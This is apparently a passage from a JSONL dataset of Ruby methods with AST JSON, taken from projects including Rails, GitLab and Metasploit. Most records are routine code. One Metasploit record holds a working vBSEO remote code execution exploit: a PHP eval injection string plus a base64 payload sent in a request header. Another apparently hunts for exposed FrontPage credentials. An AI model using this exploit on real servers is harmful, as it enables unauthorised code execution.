\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\" not found.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"lines\"]},\"first\"]},\"chomp\"]},\"==\",{\"type\":\"str\",\"children\":[\"# -FrontPage-\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"File does not contain FrontPage credentials.\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Found FrontPage credentials.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]}","id":"68ef8ffc-1fd7-4419-a4ff-ae1c1c12e455"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/grape/helpers.rb","start_line":35,"raw_source":"def endpoint\n        env[\"api.endpoint\"]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api.endpoint\"]}]}]}","id":"0e1cb9c6-39c7-4308-9156-296c7c076e69"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/configuration_profile.rb","start_line":68,"raw_source":"def tag_hash\n    @tag_hash ||= configuration_tags.index_by(&:class)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tag_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_tags\"]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]}]}]}]}]}","id":"53821984-5f3a-41ad-b9ae-d536971369a3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module.rb","start_line":359,"raw_source":"def black_listed_auth_filenames\n      @black_listed_auth_filenames ||= lambda {\n        [\n          'fileformat',\n          'browser'\n        ]\n      }.call\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"black_listed_auth_filenames\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@black_listed_auth_filenames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"fileformat\"]},{\"type\":\"str\",\"children\":[\"browser\"]}]}]},\"call\"]}]}]}","id":"409c12bb-d1cd-4b99-bfb5-feba7b21cb40"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vbseo_proc_deutf.rb","start_line":78,"raw_source":"def exploit\n    if datastore['CMD']\n      p = \"passthru(\\\"%s\\\");\" % datastore['CMD']\n      p = Rex::Text.encode_base64(p)\n    else\n      p = Rex::Text.encode_base64(payload.encoded)\n    end\n\n    data = \"char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>\"\n\n    uri = normalize_uri(datastore['URI'], 'vbseocp.php')\n\n    response = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'data' => data,\n      'headers' => { 'Code' => p }\n    })\n\n    vprint_status(\"Server replied with #{response ? response.code : \"nothing\"}\")\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"passthru(\\\"%s\\\");\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]},{\"type\":\"str\",\"children\":[\"vbseocp.php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Code\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server replied with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},{\"type\":\"str\",\"children\":[\"nothing\"]}]}]}]}]}]}]}","id":"6b3f28fc-4b4c-42c1-a951-7b38d9fedd37"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":259,"raw_source":"def respond_with_user_suspended\n    response.status = :forbidden\n    render \"pages/forbidden\"\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_with_user_suspended\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"status=\",{\"type\":\"sym\",\"children\":[\"forbidden\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"pages/forbidden\"]}]}]}]}","id":"be299b84-7eae-4b83-adf2-a3e9a5b2bdfd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":374,"raw_source":"def click_table_header_to_open_action_menu(column_name)\n        find(\".generic-table--sort-header #menu-#{column_name.downcase}-button\").click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_table_header_to_open_action_menu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".generic-table--sort-header #menu-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"-button\"]}]}]},\"click\"]}]}","id":"18d01054-dfa6-4c49-8300-909c8398851d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/windows/reverse_lua.rb","start_line":44,"raw_source":"def generate(_opts = {})\n    return super + command_string\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]}]}]}","id":"4a094736-368b-4680-af76-da903bb6ef80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/lexeme/pattern.rb","start_line":17,"raw_source":"def evaluate(variables = {})\n              cached_regexp.expression\n            end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"variables\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_regexp\"]},\"expression\"]}]}","id":"981dd1f8-89e6-4fcd-b297-2022002eeb03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb","start_line":419,"raw_source":"def close(handle = self.handle)\n    unless self.pid.nil?\n      ObjectSpace.undefine_finalizer(self)\n      self.class.close(self.client, handle)\n      self.pid = nil\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"handle\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"handle\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pid\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectSpace\"]},\"undefine_finalizer\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"close\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"client\"]},{\"type\":\"lvar\",\"children\":[\"handle\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pid=\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"27ce26a6-71b2-44a1-93c9-9da8cd7bcd93"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":209,"raw_source":"def registry_setvaldata(key, valname, data, type, view = REGISTRY_VIEW_NATIVE)\n    if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_SET_VALUE_DIRECT)\n      meterpreter_registry_setvaldata(key, valname, data, type, view)\n    else\n      shell_registry_setvaldata(key, valname, data, type, view)\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"registry_setvaldata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"valname\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"optarg\",\"children\":[\"view\",{\"type\":\"const\",\"children\":[null,\"REGISTRY_VIEW_NATIVE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi\"]},\"COMMAND_ID_STDAPI_REGISTRY_SET_VALUE_DIRECT\"]}]},{\"type\":\"send\",\"children\":[null,\"meterpreter_registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"valname\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"view\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"valname\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"view\"]}]}]}]}","id":"3ba6eea8-423f-40d2-b418-182ce195ecbb"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":1621,"raw_source":"def default_admin_route\n    {\n      label: setting_category_label || \"#{name.underscore}.title\",\n      location: name,\n      use_new_show_route: true,\n      auto_generated: true,\n    }\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"default_admin_route\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_category_label\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".title\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_new_show_route\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_generated\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"68030893-418c-472d-94ea-8a8906ef9956"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":139,"raw_source":"def constructed_user_filter\n          @constructed_user_filter ||= Net::LDAP::Filter.construct(user_filter)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"constructed_user_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@constructed_user_filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Filter\"]},\"construct\",{\"type\":\"send\",\"children\":[null,\"user_filter\"]}]}]}]}","id":"a0f0aabb-6c78-4afc-91b5-8ad2c5953d00"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/attachment.rb","start_line":27,"raw_source":"def fragment_by_canonicalizing_attachments(content)\n        fragment_by_minifying_attachments(fragment_by_converting_trix_attachments(content))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fragment_by_canonicalizing_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"fragment_by_minifying_attachments\",{\"type\":\"send\",\"children\":[null,\"fragment_by_converting_trix_attachments\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"9bba231b-0bbd-49f9-9028-b3886f367405"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-rspec_flaky/lib/gitlab/rspec_flaky/listener.rb","start_line":38,"raw_source":"def dump_summary(_)\n        rails_logger_warn(\n          \"\\n#{flaky_examples.count} known flaky example(s) detected. \" \\\n          \"Writing this to #{Config.flaky_examples_report_path}.\\n\"\n        )\n        Report.new(flaky_examples).write(Config.flaky_examples_report_path)\n\n        return unless new_flaky_examples.any?\n\n        rails_logger_warn(\"\\nNew flaky examples detected:\\n\")\n        rails_logger_warn(JSON.pretty_generate(new_flaky_examples.to_h))\n\n        Report.new(new_flaky_examples).write(Config.new_flaky_examples_report_path)\n      end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_summary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails_logger_warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flaky_examples\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" known flaky example(s) detected. \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Writing this to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"flaky_examples_report_path\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"flaky_examples\"]}]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"flaky_examples_report_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_flaky_examples\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"rails_logger_warn\",{\"type\":\"str\",\"children\":[\"\\nNew flaky examples detected:\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"rails_logger_warn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_flaky_examples\"]},\"to_h\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"new_flaky_examples\"]}]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"new_flaky_examples_report_path\"]}]}]}]}","id":"6668244a-282a-4f64-a667-fb2ab8e5db5f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":231,"raw_source":"def test_array_options_for_select_with_disabled_array\n    assert_dom_equal(\n      \"<option value=\\\"Denmark\\\">Denmark</option>\\n<option value=\\\"&lt;USA&gt;\\\" disabled=\\\"disabled\\\">&lt;USA&gt;</option>\\n<option value=\\\"Sweden\\\" disabled=\\\"disabled\\\">Sweden</option>\",\n      options_for_select([ \"Denmark\", \"<USA>\", \"Sweden\" ], disabled: [\"<USA>\", \"Sweden\"])\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array_options_for_select_with_disabled_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<option value=\\\"Denmark\\\">Denmark</option>\\n<option value=\\\"&lt;USA&gt;\\\" disabled=\\\"disabled\\\">&lt;USA&gt;</option>\\n<option value=\\\"Sweden\\\" disabled=\\\"disabled\\\">Sweden</option>\"]},{\"type\":\"send\",\"children\":[null,\"options_for_select\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Denmark\"]},{\"type\":\"str\",\"children\":[\"<USA>\"]},{\"type\":\"str\",\"children\":[\"Sweden\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"<USA>\"]},{\"type\":\"str\",\"children\":[\"Sweden\"]}]}]}]}]}]}]}","id":"c36f6db2-ee1e-491f-bc8d-90d35801ebaf"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/attachment.rb","start_line":8,"raw_source":"def initialize(source, filename: nil)\n      @source = source\n      if url?\n        @source = URI source\n        @filename = filename || File.basename(@source.path).to_s\n      elsif path?\n        @source = Pathname.new source\n        @filename = filename || @source.basename.to_s\n      elsif active_storage?\n        @filename = filename || extract_filename_from_active_storage\n      else\n        @filename = filename\n      end\n\n      determine_mime_type\n    end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"kwoptarg\",\"children\":[\"filename\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"path\"]}]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"basename\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_storage?\"]},{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[null,\"extract_filename_from_active_storage\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@filename\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"determine_mime_type\"]}]}]}","id":"aa8f72f0-170d-42bd-bd1d-845bcc0aefff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/read_only.rb","start_line":8,"raw_source":"def self.internal_routes\n        @internal_routes ||=\n          API_VERSIONS.map { |version| \"api/v#{version}/internal\" }\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"internal_routes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@internal_routes\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API_VERSIONS\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"api/v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\"/internal\"]}]}]}]}]}","id":"c1503cb1-5099-4f70-9703-43601096dbab"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/date_picker/banner_component.rb","start_line":151,"raw_source":"def relations_wp_ids\n        @work_package.relations.visible.pluck(:from_id, :to_id).flatten!\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"relations_wp_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"relations\"]},\"visible\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"from_id\"]},{\"type\":\"sym\",\"children\":[\"to_id\"]}]},\"flatten!\"]}]}","id":"db689192-d737-4601-8521-c5fdec5e9eb2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/i18n_railtie.rb","start_line":84,"raw_source":"def self.setup_raise_on_missing_translations_config(app, strict)\n      ActiveSupport.on_load(:action_view) do\n        ActionView::Helpers::TranslationHelper.raise_on_missing_translations = app.config.i18n.raise_on_missing_translations\n      end\n\n      ActiveSupport.on_load(:active_model_translation) do\n        ActiveModel::Translation.raise_on_missing_translations = app.config.i18n.raise_on_missing_translations if strict\n      end\n\n      if app.config.i18n.raise_on_missing_translations &&\n          I18n.exception_handler.is_a?(I18n::ExceptionHandler) # Only override the i18n gem's default exception handler.\n\n        I18n.exception_handler = ->(exception, *) {\n          exception = exception.to_exception if exception.is_a?(I18n::MissingTranslation)\n          raise exception\n        }\n      end\n    end","complexity_score":32.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"setup_raise_on_missing_translations_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"arg\",\"children\":[\"strict\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"on_load\",{\"type\":\"sym\",\"children\":[\"action_view\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"TranslationHelper\"]},\"raise_on_missing_translations=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"config\"]},\"i18n\"]},\"raise_on_missing_translations\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"on_load\",{\"type\":\"sym\",\"children\":[\"active_model_translation\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strict\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Translation\"]},\"raise_on_missing_translations=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"config\"]},\"i18n\"]},\"raise_on_missing_translations\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"config\"]},\"i18n\"]},\"raise_on_missing_translations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"exception_handler\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"ExceptionHandler\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"exception_handler=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"restarg\",\"children\":[]}]},{\"